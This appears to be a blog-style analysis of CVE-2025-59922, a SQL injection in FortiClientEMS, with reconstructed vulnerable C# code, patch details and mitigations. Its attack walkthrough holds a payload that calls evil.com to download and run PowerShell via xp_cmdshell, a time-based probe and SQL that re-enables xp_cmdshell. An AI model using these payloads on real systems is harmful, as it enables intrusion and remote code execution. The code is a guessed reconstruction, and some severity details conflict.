CVE-2025-59922: When 'Read-Only' Means 'Root-Owns-You' in FortiClientEMS
Jan 16, 2026·7 min read
Executive Summary (TL;DR)
Fortinet FortiClientEMS contains a SQL Injection flaw (CVE-2025-59922) accessible to authenticated users with as little as Read-Only access. By injecting malicious SQL into fields related to image rendering (the 'IMG tag' vector), attackers can manipulate the backend database. In default configurations where the database runs with high privileges, this leads to full Remote Code Execution (RCE) as SYSTEM. Patches are available in versions 7.4.5 and 7.2.12.
A critical SQL Injection vulnerability in Fortinet FortiClientEMS allows low-privileged, read-only administrators to execute arbitrary SQL commands. Because FortiClientEMS typically runs on top of a Microsoft SQL Server (MSSQL) stack, this often translates directly into Remote Code Execution (RCE) via `xp_cmdshell` or similar stored procedures. The flaw resides in how the application handles image rendering tags, effectively turning a cosmetic feature into a system shell.
The Hook: The Keys to the Kingdom
FortiClientEMS (Enterprise Management Server) is the brain of the operation. It manages endpoints, pushes policies, handles telemetry, and generally acts as the single pane of glass for an organization's device security. If you compromise the EMS, you don't just own a server; you own every laptop, desktop, and server that calls home to it. You can push ransomware, disable antivirus, or exfiltrate data from thousands of endpoints simultaneously.
Now, imagine locking the front door with a heavy biometric scanner (MFA, VPNs, etc.) but leaving the cat flap wide open. That is effectively what CVE-2025-59922 represents. It requires authentication, sure, but the bar is laughably low: a "Read-Only Administrator" account. In many organizations, these accounts are handed out like candy to auditors, junior analysts, or NOC screens that just need to display dashboards.
The vulnerability is a classic SQL Injection (SQLi), a bug class that is old enough to drink in the US. The fact that we are seeing this in enterprise security software in 2026 is a testament to the fact that developers still treat input validation as an optional DLC rather than a core game mechanic. The flaw specifically targets the handling of image tags—likely for profile pictures or dashboard widgets—proving once again that parsing complex data formats (or even simple HTML/XML tags) is where security goes to die.
The Flaw: Only One IMG Tag to Rule Them All
The root cause here is a failure to sanitize input in the administrative interface, specifically regarding how the application parses or stores metadata for images. Based on the "One IMG Tag" clues circulating in the research community, the application likely takes a string intended to represent an image path or an HTML <img> tag and concatenates it directly into a SQL query string without parameterization.
This is the classic sin: trusting the user. Even a "read-only" user. The developers likely assumed that because the account has no write privileges in the UI logic, they couldn't possibly modify the database. This is a fundamental misunderstanding of how SQLi works. SQLi doesn't care about your application-level RBAC (Role-Based Access Control); it speaks directly to the database engine.
When the application processes this specific field—perhaps to render a preview of an uploaded icon or fetch metadata about a user's avatar—it takes the tainted string and passes it to the backend MSSQL server. The database, being a dutiful servant, executes whatever command is appended after the rogue single quote '.
The Code: Constructing the Catastrophe
Since FortiClientEMS is proprietary, we don't have a public git diff to point and laugh at. However, based on the behavior and the .NET/IIS stack EMS runs on, we can reconstruct the likely culprit with high accuracy. The vulnerable code likely resides in a controller responsible for fetching or validating asset paths.
The Vulnerable Logic (Reconstruction)
Imagine a C# backend method intended to log an event or retrieve image details:
// THE BAD WAY
public string GetImageMetadata(string imgTag)
{
// Developer assumes imgTag is just a filename like 'logo.png'
// No parameterized query used.
string query = "SELECT * FROM Assets WHERE ImagePath = '" + imgTag + "'";
using (SqlConnection conn = new SqlConnection(connectionString))
{
SqlCommand cmd = new SqlCommand(query, conn);
// ... execute and return
}
}The Injection
If the attacker supplies an imgTag value of:
logo.png'; EXEC xp_cmdshell 'powershell -c IEX(New-Object Net.WebClient).DownloadString("http://evil.com/payload.ps1")';--
The resulting query sent to the database becomes:
SELECT * FROM Assets WHERE ImagePath = 'logo.png';
EXEC xp_cmdshell 'powershell -c IEX...';--'The database engine executes the SELECT (which might fail or succeed, it doesn't matter), and then immediately executes the xp_cmdshell command. The -- comments out the trailing quote, ensuring syntax validity. The "Read-Only" user has just executed a system shell command.
The Exploit: From Read-Only to SYSTEM
Let's walk through a realistic attack chain. You have obtained credentials for a low-level auditor account (Read-Only Admin). Maybe you phished them, maybe you found them in a leaked dump, or maybe the default credentials weren't changed.
Step 1: Reconnaissance
First, we map the attack surface. We log into the web console and look for any input field that reflects data back to us or involves file paths. The vulnerability disclosure points us toward image rendering endpoints. We fire up Burp Suite and capture the request used to preview or set profile images.
Step 2: The Probe
We send a benign payload to verify the injection point:
POST /api/v1/admin/assets/preview
payload: "test_image.png' WAITFOR DELAY '0:0:5'--"
If the server hangs for 5 seconds before responding, we have confirmed blind SQL injection. We are in.
Step 3: Enabling the Shell
FortiClientEMS usually runs on MSSQL. By default, modern MSSQL has xp_cmdshell (the command execution feature) disabled. However, if the database user is sa (System Administrator)—which is frighteningly common in appliance-style installs—we can re-enable it ourselves inside the injection:
';
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;--Step 4: Execution
Now that the shell is active, we go for the kill. We don't want to just drop a file; we want a reverse shell.
At this point, the attacker has local administrative access to the server OS. From there, they can pivot to the domain controller or push malicious updates to all managed FortiClients.
The Impact: Why You Should Panic
The impact of this vulnerability cannot be overstated. We are not talking about data theft from a random web app. We are talking about the compromise of a security appliance. Security appliances are high-value targets because they are trusted by the rest of the network.
- Mass Compromise: An attacker can modify the endpoint profiles to disable Real-Time Protection on 5,000 corporate laptops instantly.
- Silent Persistence: Attackers can add exclusions to the antivirus policy for their own malware folders (
C:\Windows\Temp\TotallyLegit). - Lateral Movement: Since EMS often integrates with Active Directory for user syncing, the server likely holds service account credentials with permissions to query (and potentially modify) AD.
- Ransomware Deployment: This is the endgame. Use the EMS deployment features to push a "custom installer" (Ransomware.exe) to every managed client. It's the most efficient distribution method imaginable.
The Fix: Putting the Genie Back in the Bottle
Fortinet has released patches. If you are running FortiClientEMS, stop reading this and go patch. Now.
Official Patches:
- v7.4 Branch: Upgrade to 7.4.5 or above.
- v7.2 Branch: Upgrade to 7.2.12 or above.
- v7.0 Branch: EOL/Unsafe. Move to a supported version immediately.
Mitigation Strategies
If you absolutely cannot patch right now (why? do you hate sleep?), you must restrict access:
- Network Segmentation: The management interface (HTTPS 443/8443) should never, ever be exposed to the internet. Put it behind a VPN. Restrict access to a specific management subnet.
- Database Hardening: If you have access to the underlying SQL Server instance, check the permissions. ensure the user account connecting the web app to the DB is NOT
sa. Disablexp_cmdshellif it's enabled. (Though note: Fortinet's own updates might re-enable it or fail if permissions are too tight, so test this carefully). - WAF: A Web Application Firewall can help. Rules blocking common SQL keywords (
UNION,SELECT,xp_cmdshell) in POST bodies can buy you time, but they are bypassable by determined attackers.
Official Patches
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
FortiClientEMS Fortinet | 7.4.0 - 7.4.4 | 7.4.5 |
FortiClientEMS Fortinet | 7.2.0 - 7.2.10 | 7.2.12 |
FortiClientEMS Fortinet | <= 7.0.13 | Upgrade to 7.2+ |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-89 (SQL Injection) |
| Attack Vector | Network (Authenticated) |
| CVSS v3.1 | 7.2 (High) |
| Exploit Status | Proof of Concept (PoC) Available |
| Authentication | Required (Low Priv / Read-Only) |
| Risk | Remote Code Execution (RCE) via Database |
MITRE ATT&CK Mapping
The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.